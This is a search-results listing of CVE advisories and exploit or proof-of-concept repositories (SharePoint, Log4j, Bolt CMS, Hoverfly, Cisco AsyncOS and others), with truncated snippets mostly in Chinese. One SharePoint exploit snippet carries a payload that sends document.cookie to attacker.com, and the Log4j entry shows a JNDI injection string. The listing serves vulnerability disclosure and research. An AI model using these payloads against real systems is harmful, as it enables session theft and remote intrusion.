209072 matches found
CVE-2026-107296 msgpack5: Decoding negative int64 values mutates the input buffer
msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...
Log4j_Vulnerability_Demo
Log4jVulnerabilityDemo 一个用于演示 Log4j 漏洞（CVE-2021-44228）如何被利用的简单程序。 运行演示： 要启动该程序，只需在 UNIX 系统上运行 start.sh，或在 Windows 上运行 start.bat。 用户输入将被读取，并使用 Log4j 框架记录到控制台。 默认情况下，Log4j 库生成的日志消息不会为 JNDI 替换提供任何服务器不可达 / 主机未找到的错误。（我想这也是该漏洞能够被隐蔽利用的一个主要原因） 也可以尝试使用子域名，例如 $jndi:ldap://test29.google.com/blah，有时 JNDI...
CVE-2026-32201-exploit
概述 针对 CVE-2026-32201 的 Python 漏洞利用程序——Microsoft SharePoint Server 中的输入验证不当，允许未经身份验证的网络欺骗（C:L/I:L）。 受影响版本：SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 输出示例： + 检测到 SharePoint。 正在向...
CVE-2026-30048
CVE-2026-30048 - NotChatbot WebChat 视频演示 https://youtu.be/HklaoNKP9H8 复现步骤 1. 使用官方包/CDN 集成 WebChat 小部件 2. 打开聊天界面 3. 将上述载荷作为聊天消息发送 4. 重新加载或重新打开对话 5. 观察浏览器中 JavaScript 的执行 影响 在受害者浏览器中执行任意 JavaScript 会话劫持 信息泄露 根据具体环境可能造成账户接管 根本原因 在聊天历史渲染逻辑中，用户输入未经适当的输出编码或 HTML 清理即被渲染。 建议修复方案 在渲染前对用户输入进行清理和转义 使用诸如...
cve-2026-13934
CVE-2026-13934 这是工作项目仓库。调查·分析·工作·报告都在一个仓库中 处理D088/D091。 此文件是仓库·看板入口文档 。文件夹·产出物规范的全文请参阅 docs/conventions.md。 正文现状·结论·链接在报告report条目晋升时更新。 调查·分析·工作代理不会修改根 README。 一句话摘要 : Google Chrome 的 WebGPU 实现 Dawn 在创建 YCbCr 采样器时未检查 Vulkan 规范所要求的参数约束,导致已掌握渲染器进程的攻击者可将违反规范的值一路传送到 GPU 进程CWE-20。修复以两层 方式加入验证与后端强制,并已在...
CVE-2026-22015-Serverless-Function-Environment-Variable-Injection-via-Event
CVE-2026-22015 – 通过事件注入无服务器函数环境变量 程序代码（Python Lambda 模拟） lambdaenvinject.py - Vulnerable function that reads env from event import os, json def handlerevent, context: The event contains environment variable overrides debug feature for key, value in event.get'env', .items: os.environkey = value...
CVE-2026-63720-datamodel-code-generator
CVE-2026-63720：datamodel-code-generator 中因未经验证的 customBasePath 导致的代码注入 严重性： 高危，CVSS 3.1 7.5 / CVSS 4.0 7.5 （由 CNA VulnCheck 分配） 环境上限（网络服务部署）： 最高 9.8 向量（v4.0）： CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 向量（v3.1）： CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 受影响版本：...
Bolt-CMS-3.6.2---Cross-Site-Scripting
Bolt CMS 3.6.2 - 跨站脚本漏洞 Bolt CMS 3.6.2 - 跨站脚本漏洞 CVE-2018-19933 https://vulners.com/cve/CVE-2018-19933 概念验证 要利用此漏洞，Bolt CMS 3.6.2 允许通过文本输入点击预览按钮触发 XSS，如 Configured 和 New Entry 的 Title 字段所示。 POST /preview/page HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:63....
icannTLD
icannTLD Corelight-update 现在可用于创建和维护 icannTLD 输入文件。 脚本描述 Zeek 脚本使用 ICANN 官方顶级域（TLD）列表，并结合 Input Framework，从 DNS 查询中提取相关信息，并标记其是否受信任。ICANN TLD 列表的源可在此处找到：https://publicsuffix.org/list/effectivetldnames.dat. 受信任的域名列表是用户创建的自定义列表，用于在搜索过程中过滤域名。 脚本功能 icannTLD 解析每个 DNS 查询，并向 DNS 日志中添加以下字段。 字段| 值| 描述...
CVE-2025-63419
CVE-2025-63419 CrushFTP 11.3.760 之前的版本存在 HTML 注入漏洞。该 Web 服务器具有用户共享文件的功能，该功能将文件名直接反映到 emailbody 字段中，且未进行任何清理，导致 HTML 注入。 CWE CWE-79 — 在网页生成过程中对输入的不当中和（跨站脚本） CVSS v3.1 基础评分：3.5（低危） CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N 摘要 CrushFTP 的 Web 服务器具有用户共享文件的功能，该功能将文件名直接反映到 emailbody 字段中，且未进行任何清理，导致...
CVE-2025-54123
CVE-2025-54123 - Hoverfly 命令注入（RCE） PoC CVE-2025-54123 - Hoverfly 中间件命令注入 📌 CVE 详情 ID : CVE-2025-54123 类型 ：命令注入 / 远程代码执行（RCE） 厂商 ：Hoverfly 影响 ：允许经过身份验证的攻击者通过中间件 API 端点执行任意系统命令。 受影响版本 ：Hoverfly ≤ 1.11.3 更多信息 ： GHSA-r4h8-hfp2-ggmf NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-54123 ⚙️ 描述 此漏洞影响...
CVE-2025-20393
CVE-2025-20393 📌 概述 CVE-2025-20393 是一个影响 Cisco Secure Email Gateway SEG 和 Cisco Secure Email and Web Manager SEWM 设备上运行的 Cisco AsyncOS 的 严重远程命令执行 RCE 漏洞。 该漏洞源于 Spam Quarantine 功能中的 输入验证不当 。未经身份验证的远程攻击者 可通过发送特制的 HTTP 请求来利用此漏洞，从而导致 以 root 权限执行任意命令 。 该漏洞被认定为 极其危险 ，原因如下： 无需身份验证 可通过网络进行利用 可实现系统完全沦陷...
postgresql: PostgreSQL: Arbitrary code execution via untrusted data inclusion in pg_dump
A vulnerability in PostgreSQL allows a malicious origin-server superuser to achieve client-side arbitrary code execution during a database restore. By injecting untrusted data into a pgdump export, the attacker can exploit the input expansion of the psql \restrict meta-command. When a victim...
CVE-2022-29380
CVE-2022-29380 CVE-2022-29380 Date: 25/05/2022 Author: OpenXP Team Software: Academy LMS Version: Academy LMS = v4.3 Type: Cross-Site Scripting OWASP TOP 10: A03:2021-Injection CWE: CWE-79 Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' References:...
exploit_cve-2007-2447_again
exploitcve-2007-2447again solo recuerda cómo un pequeño error al sanear el nombre de usuario podría darte acceso root a toda la máquina...
CVE-2014-9219
CVE-2014-9219 CVE-2014-9219 XSS POC 关于 该漏洞由 phpMyAdmin 4.2.x 版本（4.2.13.1 之前）中 url.php 的重定向功能在处理 url 参数时的输入验证错误引起。远程攻击者可诱骗受害者访问特制链接，并在受害者的浏览器中，在易受攻击网站的安全上下文中执行任意 HTML 和脚本代码。 受影响版本 phpMyAdmin：4.2.0 - 4.2.13 问题 存在漏洞的代码使用 htmlspecialchars 来清除 URL 参数，然后将其插入 JavaScript 字符串上下文中： window.location='"...
CVE-2022-0739-Exploitation
CVE-2022-0739-Exploitation CVE-2022-0739 的一个漏洞利用。 该漏洞涉及 BookingPress WordPress 插件 1.0.11 之前的版本。 通过使用 bookingpressfrontgetcategoryservices AJAX 操作（未认证用户可用），可导致未认证 SQL 注入。 原因是该插件未能正确清理用户提交的 POST 数据，这些数据随后被用于动态构造的 SQL 查询。...
CVE-2025-60012-POC
仅供教育和安全研究目的使用。请勿针对非您拥有或未获得明确书面许可的系统进行测试。→完整免责声明 CVE-2025-60012 — Apache Livy 未授权文件访问 -yellow 概述 字段| 详情 ---|--- CVE ID| CVE-2025-60012 严重性| 中等 CVSS 6.3 受影响版本| Apache Livy 0.7.0-incubating, 0.8.0-incubating — 当连接到 Apache Spark 3.1 或更高版本时 修复版本| Apache Livy 0.9.0-incubating CWE| CWE-20: 输入验证不恰当 披露日期|...
CVE-2025-65881
CVE-2025-65881 项目 Zoo Management System v1.00 在 /zms/classes/Login.php?f=login 上存在跨站脚本攻击（XSS）漏洞，原因如下： 1. /zms/classes/Login.php?f=login 的 JSON 响应中使用了无效的 Content-type 2. 响应中的用户输入未进行转义处理 这使得未经身份验证的攻击者能够注入恶意的 HTML/JS，并在受害者浏览器中执行。 受影响的文件及漏洞代码 /zms/classes/Login.php return jsonencodearray 'status' =...